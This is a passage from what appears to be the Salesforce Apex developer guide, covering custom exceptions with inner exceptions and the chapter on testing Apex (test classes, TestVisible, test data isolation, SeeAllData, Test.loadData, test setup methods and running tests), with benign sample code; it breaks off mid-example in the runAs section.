15:52:21:073 EXCEPTION_THROWN [7]|My1Exception: First exception
15:52:21:077 EXCEPTION_THROWN [11]|My2Exception: Throw with inner exception
15:52:21:000 FATAL_ERROR AnonymousBlock: line 11, column 1
15:52:21:000 FATAL_ERROR Caused by
15:52:21:000 FATAL_ERROR AnonymousBlock: line 7, column 1
The example in the next section shows how to handle an exception with an inner exception by calling the getCause method.
Inner Exception Example
Now that you’ve seen how to create a custom exception class and how to construct your exception objects, let’s create and run an
example that demonstrates the usefulness of custom exceptions.
1. In the Developer Console, create a class named MerchandiseException and confirm that it has this content.
public class MerchandiseException extends Exception {
}
You’ll use this exception class in the second class that you create. The curly braces at the end enclose the body of your exception
class, which we left empty because we get some free code—our class inherits all the constructors and common exception methods,
such as getMessage, from the built-in Exception class.
2. Next, create a second class named MerchandiseUtility.
public class MerchandiseUtility {
public static void mainProcessing() {
try {
insertMerchandise();
}catch(MerchandiseException me) {
System.debug('Message: ' + me.getMessage());
554
Create Custom ExceptionsDebugging Apex
System.debug('Cause: ' + me.getCause());
System.debug('Line number: ' + me.getLineNumber());
System.debug('Stack trace: ' + me.getStackTraceString());
}
}
public static void insertMerchandise() {
try {
// Insert merchandise without required fields
Merchandise__c m = new Merchandise__c();
insert m;
}catch(DmlException e) {
// Something happened that prevents the insertion
// of Employee custom objects, so throw a more
// specific exception.
throw new MerchandiseException(
'Merchandise item could not be inserted.', e);
}
}
}
This class contains the mainProcessing method, which calls insertMerchandise. The latter causes an exception by
inserting a Merchandise without required fields. The catch block catches this exception and throws a new exception, the custom
MerchandiseException you created earlier. Notice that we called a constructor for the exception that takes two arguments: the error
message, and the original exception object. You might wonder why we are passing the original exception? Because it is useful
information—when the MerchandiseException gets caught in the first method, mainProcessing, the original exception
(referred to as an inner exception) is really the cause of this exception because it occurred before the MerchandiseException.
3. Now let’s see all this in action to understand better. Execute the following:
MerchandiseUtility.mainProcessing();
4. Check the debug log output. You should see something similar to the following:
18:12:34:928 USER_DEBUG [6]|DEBUG|Message: Merchandise item could not be inserted.
18:12:34:929 USER_DEBUG [7]|DEBUG|Cause: System.DmlException: Insert failed. First
exception on row 0; first error: REQUIRED_FIELD_MISSING, Required fields are missing:
[Description, Price, Total Inventory]: [Description, Price, Total Inventory]
18:12:34:929 USER_DEBUG [8]|DEBUG|Line number: 22
18:12:34:930 USER_DEBUG [9]|DEBUG|Stack trace:
Class.EmployeeUtilityClass.insertMerchandise: line 22, column 1
A few items of interest:
•The cause of MerchandiseException is the DmlException. You can see the DmlException message also that states that required
fields were missing.
•The stack trace is line 22, which is the second time an exception was thrown. It corresponds to the throw statement of
MerchandiseException.
throw new MerchandiseException('Merchandise item could not be inserted.', e);
555
Create Custom ExceptionsDebugging Apex
CHAPTER 13 Testing Apex
Apex provides a testing framework that allows you to write unit tests, run your tests, check test results,
and have code coverage results.
In this chapter ...
•Understanding
Testing in Apex This chapter provides covers unit tests, data visibility for tests, as well as the tools that are available on
the Force.com platform for testing Apex. Testing best practices and a testing example are also provided.
•What to Test in Apex
•What are Apex Unit
Tests?
•Understanding Test
Data
•Run Unit Test
Methods
•Testing Best Practices
•Testing Example
•Testing and Code
Coverage
•Code Coverage Best
Practices
•Build a Mocking
Framework with the
Stub API
556
Understanding Testing in Apex
Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend
that you use a test-driven development process, that is, test development that occurs at the same time as code development.
Why Test Apex?
Testing is key to the success of your application, particularly if your application is to be deployed to customers. If you validate that your
application works as expected, that there are no unexpected behaviors, your customers are going to trust you more.
There are two ways of testing an application. One is through the Salesforce user interface, important, but merely testing through the
user interface will not catch all of the use cases for your application. The other way is to test for bulk functionality: up to 200 records can
be passed through your code if it's invoked using SOAP API or by a Visualforce standard set controller.
An application is seldom finished. You will have additional releases of it, where you change and extend functionality. If you have written
comprehensive tests, you can ensure that a regression is not introduced with any new functionality.
Before you can deploy your code or package it for the Force.com AppExchange, the following must be true.
•At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
–When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
–Calls to System.debug are not counted as part of Apex code coverage.
–Test methods and test classes are not counted as part of Apex code coverage.
–While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered.
Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well
as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
•Every trigger must have some test coverage.
•All classes and triggers must compile successfully.
Salesforce runs all tests in all organizations that have Apex code to verify that no behavior has been altered as a result of any service
upgrades.
What to Test in Apex
Salesforce recommends that you write tests for the following:
Single action
Test to verify that a single record produces the correct, expected result.
Bulk actions
Any Apex code, whether a trigger, a class or an extension, may be invoked for 1 to 200 records. You must test not only the single
record case, but the bulk cases as well.
Positive behavior
Test to verify that the expected behavior occurs through every expected permutation, that is, that the user filled out everything
correctly and did not go past the limits.
557
Understanding Testing in ApexTesting Apex
Negative behavior
There are likely limits to your applications, such as not being able to add a future date, not being able to specify a negative amount,
and so on. You must test for the negative case and verify that the error messages are correctly produced as well as for the positive,
within the limits cases.
Restricted user
Test whether a user with restricted access to the sObjects used in your code sees the expected behavior. That is, whether they can
run the code or receive error messages.
Note: Conditional and ternary operators are not considered executed unless both the positive and negative branches are executed.
For examples of these types of tests, see Testing Example on page 577.
What are Apex Unit Tests?
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class
methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to
the database, send no emails, and are flagged with the testMethod keyword or the isTest annotation in the method definition.
Also, test methods must be defined in test classes, that is, classes annotated with isTest.
For example:
@isTest
private class myClass {
static testMethod void myTest() {
// code_block
}
}
This is the same test class as in the previous example but it defines the test method with the isTest annotation instead.
@isTest
private class myClass {
@isTest static void myTest() {
// code_block
}
}
Use the isTest annotation to define classes and methods that only contain code used for testing your application. The isTest
annotation on methods is equivalent to the testMethod keyword.
Note: Classes defined with the isTest annotation don't count against your organization limit of 3 MB for all Apex code.
This is an example of a test class that contains two test methods.
@isTest
private class MyTestClass {
// Methods for testing
@isTest static void test1() {
// Implement test code
}
@isTest static void test2() {
// Implement test code
558
What are Apex Unit Tests?Testing Apex
}
}
Classes and methods defined as isTest can be either private or public. The access level of test classes methods doesn’t
matter. This means you don’t need to add an access modifier when defining a test class or test methods. The default access level in Apex
is private. The testing framework can always find the test methods and execute them, regardless of their access level.
Classes defined as isTest must be top-level classes and can't be interfaces or enums.
Methods of a test class can only be called from a running test, that is, a test method or code invoked by a test method, and can't be
called by a non-test request.
This example shows a class and its corresponding test class. This is the class to be tested. It contains two methods and a constructor.
public class TVRemoteControl {
// Volume to be modified
Integer volume;
// Constant for maximum volume value
static final Integer MAX_VOLUME = 50;
// Constructor
public TVRemoteControl(Integer v) {
// Set initial value for volume
volume = v;
}
public Integer increaseVolume(Integer amount) {
volume += amount;
if (volume > MAX_VOLUME) {
volume = MAX_VOLUME;
}
return volume;
}
public Integer decreaseVolume(Integer amount) {
volume -= amount;
if (volume < 0) {
volume = 0;
}
return volume;
}
public static String getMenuOptions() {
return 'AUDIO SETTINGS - VIDEO SETTINGS';
}
}
This is the corresponding test class. It contains four test methods. Each method in the previous class is called. Although this would have
been enough for test coverage, the test methods in the test class perform additional testing to verify boundary conditions.
@isTest
class TVRemoteControlTest {
@isTest static void testVolumeIncrease() {
TVRemoteControl rc = new TVRemoteControl(10);
559
What are Apex Unit Tests?Testing Apex
Integer newVolume = rc.increaseVolume(15);
System.assertEquals(25, newVolume);
}
@isTest static void testVolumeDecrease() {
TVRemoteControl rc = new TVRemoteControl(20);
Integer newVolume = rc.decreaseVolume(15);
System.assertEquals(5, newVolume);
}
@isTest static void testVolumeIncreaseOverMax() {
TVRemoteControl rc = new TVRemoteControl(10);
Integer newVolume = rc.increaseVolume(100);
System.assertEquals(50, newVolume);
}
@isTest static void testVolumeDecreaseUnderMin() {
TVRemoteControl rc = new TVRemoteControl(10);
Integer newVolume = rc.decreaseVolume(100);
System.assertEquals(0, newVolume);
}
@isTest static void testGetMenuOptions() {
// Static method call. No need to create a class instance.
String menu = TVRemoteControl.getMenuOptions();
System.assertNotEquals(null, menu);
System.assertNotEquals('', menu);
}
}
Unit Test Considerations
Here are some things to note about unit tests.
•Starting with Salesforce API 28.0, test methods can no longer reside in non-test classes and must be part of classes annotated with
isTest. See the TestVisible annotation to learn how you can access private class members from a test class.
•Test methods can’t be used to test Web service callouts. Instead, use mock callouts. See Test Web Service Callouts and Testing HTTP
Callouts.
•You can’t send email messages from a test method.
•Since test methods don’t commit data created in the test, you don’t have to delete test data upon completion.
•If a test class contains a static member variable, and the variable’s value is changed in a testSetup or test method, the new value isn’t
preserved. Other test methods in this class get the original value of the static member variable. This behavior also applies when the
static member variable is defined in another class and accessed in test methods.
•For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example,
inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have
unique names.
•Tracked changes for a record (FeedTrackedChange records) in Chatter feeds aren't available when test methods modify the associated
record. FeedTrackedChange records require the change to the parent record they're associated with to be committed to the database
before they're created. Since test methods don't commit data, they don't result in the creation of FeedTrackedChange records.
560
What are Apex Unit Tests?Testing Apex
Similarly, field history tracking records (such as AccountHistory) can't be created in test methods because they require other sObject
records to be committed first (for example, Account).
SEE ALSO:
IsTest Annotation
Accessing Private Test Class Members
Test methods are defined in a test class, separate from the class they test. This can present a problem when having to access a private
class member variable from the test method, or when calling a private method. Because these are private, they aren’t visible to the test
class. You can either modify the code in your class to expose public methods that will make use of these private class members, or you
can simply annotate these private class members with TestVisible. When you annotate private or protected members with this
annotation, they can be accessed by test methods and only code running in test context.
This example shows how TestVisible is used with private member variables, a private inner class with a constructor, a private
method, and a private custom exception. All these can be accessed in the test class because they’re annotated with TestVisible.
The class is listed first and is followed by a test class containing the test methods.
public class VisibleSampleClass {
// Private member variables
@TestVisible private Integer recordNumber = 0;
@TestVisible private String areaCode = '(415)';
// Public member variable
public Integer maxRecords = 1000;
// Private inner class
@TestVisible class Employee {
String fullName;
String phone;
// Constructor
@TestVisible Employee(String s, String ph) {
fullName = s;
phone = ph;
}
}
// Private method
@TestVisible private String privateMethod(Employee e) {
System.debug('I am private.');
recordNumber++;
String phone = areaCode + ''+ e.phone;
String s = e.fullName + '\'s phone number is ' + phone;
System.debug(s);
return s;
}
// Public method
public void publicMethod() {
maxRecords++;
System.debug('I am public.');
}
561
Accessing Private Test Class MembersTesting Apex
// Private custom exception class
@TestVisible private class MyException extends Exception {}
}
// Test class for VisibleSampleClass
@isTest
private class VisibleSampleClassTest {
// This test method can access private members of another class
// that are annotated with @TestVisible.
static testmethod void test1() {
VisibleSampleClass sample = new VisibleSampleClass ();
// Access private data members and update their values
sample.recordNumber = 100;
sample.areaCode = '(510)';
// Access private inner class
VisibleSampleClass.Employee emp =
new VisibleSampleClass.Employee('Joe Smith','555-1212');
// Call private method
String s = sample.privateMethod(emp);
// Verify result
System.assert(
s.contains('(510)') &&
s.contains('Joe Smith') &&
s.contains('555-1212'));
}
// This test method can throw private exception defined in another class
static testmethod void test2() {
// Throw private exception.
try {
throw new VisibleSampleClass.MyException('Thrown from a test.');
}catch(VisibleSampleClass.MyException e) {
// Handle exception
}
}
static testmethod void test3() {
// Access public method.
// No @TestVisible is used.
VisibleSampleClass sample = new VisibleSampleClass ();
sample.publicMethod();
}
}
The TestVisible annotation can be handy when you upgrade the Salesforce API version of existing classes containing mixed test
and non-test code. Because test methods aren’t allowed in non-test classes starting in API version 28.0, you must move the test methods
from the old class into a new test class (a class annotated with isTest) when you upgrade the API version of your class. You might
562
Accessing Private Test Class MembersTesting Apex
run into visibility issues when accessing private methods or member variables of the original class. In this case, just annotate these private
members with TestVisible.
Understanding Test Data
Apex test data is transient and isn’t committed to the database.
This means that after a test method finishes execution, the data inserted by the test doesn’t persist in the database. As a result, there is
no need to delete any test data at the conclusion of a test. Likewise, all the changes to existing records, such as updates or deletions,
don’t persist. This transient behavior of test data makes the management of data easier as you don’t have to perform any test data
cleanup. At the same time, if your tests access organization data, this prevents accidental deletions or modifications to existing records.
By default, existing organization data isn’t visible to test methods, with the exception of certain setup objects. You should create test
data for your test methods whenever possible. However, test code saved against Salesforce API version 23.0 or earlier has access to all
data in the organization. Data visibility for tests is covered in more detail in the next section.
Isolation of Test Data from Organization Data in Unit Tests
Starting with Apex code saved using Salesforce API version 24.0 and later, test methods don’t have access by default to pre-existing data
in the organization, such as standard objects, custom objects, and custom settings data, and can only access data that they create.
However, objects that are used to manage your organization or metadata objects can still be accessed in your tests such as:
•User
•Profile
•Organization
•AsyncApexJob
•CronTrigger
•RecordType
•ApexClass
•ApexTrigger
•ApexComponent
•ApexPage
Whenever possible, you should create test data for each test. You can disable this restriction by annotating your test class or test method
with the IsTest(SeeAllData=true) annotation.
Test code saved using Salesforce API version 23.0 or earlier continues to have access to all data in the organization and its data access
is unchanged.
Data Access Considerations
•If a new test method saved using Salesforce API version 24.0 or later calls a method in another class saved using version 23.0 or
earlier, the data access restrictions of the caller are enforced in the called method; that is, the called method won’t have access
to organization data because the caller doesn’t, even though it was saved in an earlier version.
•The IsTest(SeeAllData=true) annotation has no effect when added to Apex code saved using Salesforce API version
23.0 and earlier.
•This access restriction to test data applies to all code running in test context. For example, if a test method causes a trigger to
execute and the test can’t access organization data, the trigger won’t be able to either.
•If a test makes a Visualforce request, the executing test stays in test context but runs in a different thread, so test data isolation
is no longer enforced. In this case, the test will be able to access all data in the organization after initiating the Visualforce request.
563
Understanding Test DataTesting Apex
However, if the Visualforce request performs a callback, such as a JavaScript remoting call, any data inserted by the callback
won't be visible to the test.
•For Apex saved using Salesforce API version 27.0 and earlier, the VLOOKUP validation rule function always looks up data in the
organization, in addition to test data, when fired by a running Apex test. Starting with version 28.0, the VLOOKUP validation rule
function no longer accesses organization data from a running Apex test and looks up only data created by the test, unless the
test class or method is annotated with IsTest(SeeAllData=true).
•There might be some cases where you can’t create certain types of data from your test method because of specific limitations.
Here are some examples of such limitations.
–Some standard objects aren’t createable. For more information on these objects, see the Object Reference for Salesforce and
Force.com.
–For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example,
inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must
have unique names. This happens whether or not your test is annotated with IsTest(SeeAllData=true).
–Records that are created only after related records are committed to the database, like tracked changes in Chatter. Tracked
changes for a record (FeedTrackedChange records) in Chatter feeds aren't available when test methods modify the associated
record. FeedTrackedChange records require the change to the parent record they're associated with to be committed to
the database before they're created. Since test methods don't commit data, they don't result in the creation of
FeedTrackedChange records. Similarly, field history tracking records (such as AccountHistory) can't be created in test methods
because they require other sObject records to be committed first (for example, Account).
Using the isTest(SeeAllData=true) Annotation
Annotate your test class or test method with IsTest(SeeAllData=true) to open up data access to records in your organization.
This example shows how to define a test class with the isTest(SeeAllData=true) annotation. All the test methods in this
class have access to all data in the organization.
// All test methods in this class can access all data.
@isTest(SeeAllData=true)
public class TestDataAccessClass {
// This test accesses an existing account.
// It also creates and accesses a new test account.
static testmethod void myTestMethod1() {
// Query an existing account in the organization.
Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
System.assert(a != null);
// Create a test account based on the queried account.
Account testAccount = a.clone();
testAccount.Name = 'Acme Test';
insert testAccount;
// Query the test account that was inserted.
Account testAccount2 = [SELECT Id, Name FROM Account
WHERE Name='Acme Test' LIMIT 1];
System.assert(testAccount2 != null);
}
// Like the previous method, this test method can also access all data
564
Using the isTest(SeeAllData=true) AnnotationTesting Apex
// because the containing class is annotated with @isTest(SeeAllData=true).
@isTest static void myTestMethod2() {
// Can access all data in the organization.
}
}
This second example shows how to apply the isTest(SeeAllData=true) annotation on a test method. Because the class that
the test method is contained in isn’t defined with this annotation, you have to apply this annotation on the test method to enable access
to all data for that test method. The second test method doesn’t have this annotation, so it can access only the data it creates in addition
to objects that are used to manage your organization, such as users.
// This class contains test methods with different data access levels.
@isTest
private class ClassWithDifferentDataAccess {
// Test method that has access to all data.
@isTest(SeeAllData=true)
static void testWithAllDataAccess() {
// Can query all data in the organization.
}
// Test method that has access to only the data it creates
// and organization setup and metadata objects.
@isTest static void testWithOwnDataAccess() {
// This method can still access the User object.
// This query returns the first user object.
User u = [SELECT UserName,Email FROM User LIMIT 1];
System.debug('UserName: ' + u.UserName);
System.debug('Email: ' + u.Email);
// Can access the test account that is created here.
Account a = new Account(Name='Test Account');
insert a;
// Access the account that was just created.
Account insertedAcct = [SELECT Id,Name FROM Account
WHERE Name='Test Account'];
System.assert(insertedAcct != null);
}
}
Considerations for the IsTest(SeeAllData=true) Annotation
•If a test class is defined with the isTest(SeeAllData=true) annotation, this annotation applies to all its test methods
whether the test methods are defined with the @isTest annotation or the testmethod keyword.
•The isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level.
However, using isTest(SeeAllData=false) on a method doesn’t restrict organization data access for that method
if the containing class has already been defined with the isTest(SeeAllData=true) annotation. In this case, the
method will still have access to all the data in the organization.
Loading Test Data
Using the Test.loadData method, you can populate data in your test methods without having to write many lines of code.
565
Loading Test DataTesting Apex
Follow these steps:
1. Add the data in a .csv file.
2. Create a static resource for this file.
3. Call Test.loadData within your test method and passing it the sObject type token and the static resource name.
For example, for Account records and a static resource name of myResource, make the following call:
List<sObject> ls = Test.loadData(Account.sObjectType, 'myResource');
The Test.loadData method returns a list of sObjects that correspond to each record inserted.
You must create the static resource prior to calling this method. The static resource is a comma-delimited file ending with a .csv extension.
The file contains field names and values for the test records. The first line of the file must contain the field names and subsequent lines
are the field values. To learn more about static resources, see “Defining Static Resources” in the Salesforce online help.
Once you create a static resource for your .csv file, the static resource will be assigned a MIME type. Supported MIME types are:
•text/csv
•application/vnd.ms-excel
•application/octet-stream
•text/plain
Test.loadData Example
The following are steps for creating a sample .csv file and a static resource, and calling Test.loadData to insert the test records.
1. Create a .csv file that has the data for the test records. This sample .csv file has three account records. You can use this sample content
to create your .csv file.
Name,Website,Phone,BillingStreet,BillingCity,BillingState,BillingPostalCode,BillingCountry
sForceTest1,http://www.sforcetest1.com,(415) 901-7000,The Landmark @ One Market,San
Francisco,CA,94105,US
sForceTest2,http://www.sforcetest2.com,(415) 901-7000,The Landmark @ One Market Suite
300,San Francisco,CA,94105,US
sForceTest3,http://www.sforcetest3.com,(415) 901-7000,1 Market St,San
Francisco,CA,94105,US
2. Create a static resource for the .csv file:
a. From Setup, enter Static Resources in the Quick Find box, then select Static Resources.
b. Click New.
c. Name your static resource testAccounts.
d. Choose the file you created.
e. Click Save.
3. Call Test.loadData in a test method to populate the test accounts.
@isTest
private class DataUtil {
static testmethod void testLoadData() {
// Load the test accounts from the static resource
List<sObject> ls = Test.loadData(Account.sObjectType, 'testAccounts');
// Verify that all 3 test accounts were created
566
Loading Test DataTesting Apex
System.assert(ls.size() == 3);
// Get first test account
Account a1 = (Account)ls[0];
String acctName = a1.Name;
System.debug(acctName);
// Perform some testing using the test records
}
}
Common Test Utility Classes for Test Data Creation
Common test utility classes are public test classes that contain reusable code for test data creation.
Public test utility classes are defined with the isTest annotation, and as such, are excluded from the organization code size limit and
execute in test context. They can be called by test methods but not by non-test code.
The methods in the public test utility class are defined the same way methods are in non-test classes. They can take parameters and can
return a value. The methods should be declared as public or global to be visible to other test classes. These common methods can be
called by any test method in your Apex classes to set up test data before running the test. While you can create public methods for test
data creation in a regular Apex class, without the isTest annotation, you don’t get the benefit of excluding this code from the
organization code size limit.
This is an example of a test utility class. It contains one method, createTestRecords, which accepts the number of accounts to
create and the number of contacts per account. The next example shows a test method that calls this method to create some data.
@isTest
public class TestDataFactory {
public static void createTestRecords(Integer numAccts, Integer numContactsPerAcct) {
List<Account> accts = new List<Account>();
for(Integer i=0;i<numAccts;i++) {
Account a = new Account(Name='TestAccount' + i);
accts.add(a);
}
insert accts;
List<Contact> cons = new List<Contact>();
for (Integer j=0;j<numAccts;j++) {
Account acct = accts[j];
// For each account just inserted, add contacts
for (Integer k=numContactsPerAcct*j;k<numContactsPerAcct*(j+1);k++) {
cons.add(new Contact(firstname='Test'+k,
lastname='Test'+k,
AccountId=acct.Id));
}
}
// Insert all contacts for all accounts
insert cons;
}
}
567
Common Test Utility Classes for Test Data CreationTesting Apex
The test method in this class calls the test utility method, createTestRecords, to create five test accounts with three contacts
each.
@isTest
private class MyTestClass {
static testmethod void test1() {
TestDataFactory.createTestRecords(5,3);
// Run some tests
}
}
Using Test Setup Methods
Use test setup methods (methods that are annotated with @testSetup) to create test records once and then access them in every
test method in the test class. Test setup methods can be time-saving when you need to create reference or prerequisite data for all test
methods, or a common set of records that all test methods operate on.
Test setup methods can reduce test execution times especially when you’re working with many records. Test setup methods enable
you to create common test data easily and efficiently. By setting up records once for the class, you don’t need to re-create records for
each test method. Also, because the rollback of records that are created during test setup happens at the end of the execution of the
entire class, the number of records that are rolled back is reduced. As a result, system resources are used more efficiently compared to
creating those records and having them rolled back for each test method.
If a test class contains a test setup method, the testing framework executes the test setup method first, before any test method in the
class. Records that are created in a test setup method are available to all test methods in the test class and are rolled back at the end of
test class execution. If a test method changes those records, such as record field updates or record deletions, those changes are rolled
back after each test method finishes execution. The next executing test method gets access to the original unmodified state of those
records.
Syntax
Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.
@testSetup static void methodName() {
}
Example
The following example shows how to create test records once and then access them in multiple test methods. Also, the example shows
how changes that are made in the first test method are rolled back and are not available to the second test method.
@isTest
private class CommonTestSetup {
@testSetup static void setup() {
// Create common test accounts
List<Account> testAccts = new List<Account>();
for(Integer i=0;i<2;i++) {
testAccts.add(new Account(Name = 'TestAcct'+i));
}
insert testAccts;
}
568
Using Test Setup MethodsTesting Apex
@isTest static void testMethod1() {
// Get the first test account by using a SOQL query
Account acct = [SELECT Id FROM Account WHERE Name='TestAcct0' LIMIT 1];
// Modify first account
acct.Phone = '555-1212';
// This update is local to this test method only.
update acct;
// Delete second account
Account acct2 = [SELECT Id FROM Account WHERE Name='TestAcct1' LIMIT 1];
// This deletion is local to this test method only.
delete acct2;
// Perform some testing
}
@isTest static void testMethod2() {
// The changes made by testMethod1() are rolled back and
// are not visible to this test method.
// Get the first account by using a SOQL query
Account acct = [SELECT Phone FROM Account WHERE Name='TestAcct0' LIMIT 1];
// Verify that test account created by test setup method is unaltered.
System.assertEquals(null, acct.Phone);
// Get the second account by using a SOQL query
Account acct2 = [SELECT Id FROM Account WHERE Name='TestAcct1' LIMIT 1];
// Verify test account created by test setup method is unaltered.
System.assertNotEquals(null, acct2);
// Perform some testing
}
}
Test Setup Method Considerations
•Test setup methods are supported only with the default data isolation mode for a test class. If the test class or a test method has
access to organization data by using the @isTest(SeeAllData=true) annotation, test setup methods aren’t supported in
this class. Because data isolation for tests is available for API versions 24.0 and later, test setup methods are also available for those
versions only.
•You can have only one test setup method per test class.
•If a fatal error occurs during the execution of a test setup method, such as an exception that’s caused by a DML operation or an
assertion failure, the entire test class fails, and no further tests in the class are executed.
•If a test setup method calls a non-test method of another class, no code coverage is calculated for the non-test method.
Run Unit Test Methods
To verify the functionality of your Apex code, execute unit tests. You can run Apex test methods in the Developer Console, in Setup, in
the Force.com IDE, or using the API.
569
Run Unit Test MethodsTesting Apex
You can run these groupings of unit tests.
•Some or all methods in a specific class
•Some or all methods in a set of classes
•A predefined suite of classes, known as a test suite
•All unit tests in your org
To run a test, use any of the following:
•The Salesforce user interface
•The Force.com IDE
•The Force.com Developer Console
•The API
All Apex tests that are started from the Salesforce user interface (including the Developer Console) run asynchronously and in parallel.
Apex test classes are placed in the Apex job queue for execution. The maximum number of test classes that you can run per 24-hour
period is the greater of 500 or 10 multiplied by the number of test classes in the org. For sandbox and Developer Edition organizations,
this limit is higher and is the greater of 500 or 20 multiplied by the number of test classes in the org.
Note: Apex tests that run as part of a deployment always run synchronously and serially.
Running Tests Through the Salesforce User Interface
You can run unit tests on the Apex Test Execution page. Tests started on this page run asynchronously, that is, you don't have to wait
for a test class execution to finish. The Apex Test Execution page refreshes the status of a test and displays the results after the test
completes.
1. From Setup, enter Apex Test Execution in the Quick Find box, then select Apex Test Execution.
2. Click Select Tests....
Note: If you have Apex classes that are installed from a managed package, you must compile these classes first by clicking
Compile all classes on the Apex Classes page so that they appear in the list. See Manage Apex Classes.
3. Select the tests to run. The list of tests includes only classes that contain test methods.
•To select tests from an installed managed package, select the managed package’s corresponding namespace from the drop-down
list. Only the classes of the managed package with the selected namespace appear in the list.
570
Run Unit Test MethodsTesting Apex
•To select tests that exist locally in your organization, select [My Namespace] from the drop-down list. Only local classes that
aren't from managed packages appear in the list.
•To select any test, select [All Namespaces] from the drop-down list. All the classes in the organization appear, whether or not
they are from a managed package.
Note: Classes with tests currently running don't appear in the list.
4. Click Run.
After you run tests using the Apex Test Execution page, you can view code coverage details in the Developer Console.
From Setup, enter Apex in the Quick Find box, select Apex Test Execution, then click View Test History to view all test results
for your organization, not just tests that you have run. Test results are retained for 30 days after they finish running, unless cleared.
Running Tests Using the Force.com IDE
You can execute tests with the Force.com IDE. See Apex Test Results View in the Force.com IDE Developer Guide.
Running Tests Using the Force.com Developer Console
In the Developer Console, you can execute some or all tests in specific test classes, set up and run test suites, or run all tests. The Developer
Console runs tests asynchronously in the background, unless your test run includes only one class and you’ve not chosen Always Run
Asynchronously in the Test menu. Running tests asynchronously lets you work in other areas of the Developer Console while tests are
running. Once the tests finish execution, you can inspect the test results in the Developer Console. Also, you can inspect the overall code
coverage for classes covered by the tests.
For more information, see the Developer Console documentation in the Salesforce Help.
Running Tests Using the API
You can use the runTests() call from the SOAP API to run tests synchronously.
RunTestsResult[] runTests(RunTestsRequest ri)
This call allows you to run all tests in all classes, all tests in a specific namespace, or all tests in a subset of classes in a specific namespace,
as specified in the RunTestsRequest object. It returns the following.
•Total number of tests that ran
•Code coverage statistics
•Error information for each failed test
•Information for each test that succeeds
•Time it took to run the test
For more information on runTests(), see SOAP API and SOAP Headers for Apex on page 2743.
You can also run tests using the Tooling REST API. Use the /runTestsAsynchronous/ and /runTestsSynchronous/
endpoints to run tests asynchronously or synchronously. For usage details, see Force.com Tooling API: REST Resources.
571
Run Unit Test MethodsTesting Apex
Running Tests Using ApexTestQueueItem
You can run tests asynchronously using ApexTestQueueItem and ApexTestResult. These objects let you add tests to the Apex job queue
and check the results of the completed test runs. This process enables you to not only start tests asynchronously but also schedule your
tests to execute at specific times by using the Apex scheduler. See Apex Scheduler for more information.
Insert an ApexTestQueueItem object to place its corresponding Apex class in the Apex job queue for execution. The Apex job
executes the test methods in the class. After the job executes, ApexTestResult contains the result for each single test method
executed as part of the test.
To abort a class that is in the Apex job queue, perform an update operation on the ApexTestQueueItem object and set its Status
field to Aborted.
If you insert multiple Apex test queue items in a single bulk operation, the queue items will share the same parent job. This means that
a test run can consist of the execution of the tests of several classes if all the test queue items are inserted in the same bulk operation.
The maximum number of test queue items, and hence classes, that you can insert in the Apex job queue is the greater of 500 or 10
multiplied by the number of test classes in the org. For sandbox and Developer Edition organizations, this limit is higher and is the greater
of 500 or 20 multiplied by the number of test classes in the org.
This example uses DML operations to insert and query the ApexTestQueueItem and ApexTestResult objects. The
enqueueTests method inserts queue items for all classes that end with Test. It then returns the parent job ID of one queue item,
which is the same for all queue items because they were inserted in bulk. The checkClassStatus method retrieves all queue
items that correspond to the specified job ID. It then queries and outputs the name, job status, and pass rate for each class. The
checkMethodStatus method gets information of each test method that was executed as part of the job.
public class TestUtil {
// Enqueue all classes ending in "Test".
public static ID enqueueTests() {
ApexClass[] testClasses =
[SELECT Id FROM ApexClass
WHERE Name LIKE '%Test'];
if (testClasses.size() > 0) {
ApexTestQueueItem[] queueItems = new List<ApexTestQueueItem>();
for (ApexClass cls : testClasses) {
queueItems.add(new ApexTestQueueItem(ApexClassId=cls.Id));
}
insert queueItems;
// Get the job ID of the first queue item returned.
ApexTestQueueItem item =
[SELECT ParentJobId FROM ApexTestQueueItem
WHERE Id=:queueItems[0].Id LIMIT 1];
return item.parentjobid;
}
return null;
}
// Get the status and pass rate for each class
// whose tests were run by the job.
// that correspond to the specified job ID.
public static void checkClassStatus(ID jobId) {
ApexTestQueueItem[] items =
[SELECT ApexClass.Name, Status, ExtendedStatus
572
Run Unit Test MethodsTesting Apex
FROM ApexTestQueueItem
WHERE ParentJobId=:jobId];
for (ApexTestQueueItem item : items) {
String extStatus = item.extendedstatus == null ?'' :item.extendedStatus;
System.debug(item.ApexClass.Name + ': ' +item.Status + extStatus);
}
}
// Get the result for each test method that was executed.
public static void checkMethodStatus(ID jobId) {
ApexTestResult[] results =
[SELECT Outcome, ApexClass.Name, MethodName, Message, StackTrace
FROM ApexTestResult
WHERE AsyncApexJobId=:jobId];
for (ApexTestResult atr : results) {
System.debug(atr.ApexClass.Name + '.' + atr.MethodName + ': ' + atr.Outcome);
if (atr.message != null) {
System.debug(atr.Message + '\n at ' + atr.StackTrace);
}
}
}
}
SEE ALSO:
Testing and Code Coverage
Salesforce Help: Open the Developer Console
Using the runAs Method
Generally, all Apex code runs in system mode, where the permissions and record sharing of the current user are not taken into account.
The system method runAs enables you to write test methods that change the user context to an existing user or a new user so that
the user’s record sharing is enforced. The runAs method doesn’t enforce user permissions or field-level permissions, only record
sharing.
You can use runAs only in test methods. The original system context is started again after all runAs test methods complete.
The runAs method ignores user license limits. You can create new users with runAs even if your organization has no additional
user licenses.
Note: Every call to runAs counts against the total number of DML statements issued in the process.
In the following example, a new test user is created, then code is run as that user, with that user's record sharing access:
@isTest
private class TestRunAs {
public static testMethod void testRunAs() {
// Setup test data
// This code runs as the system user
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
User u = new User(Alias = 'standt', Email='standarduser@testorg.com',
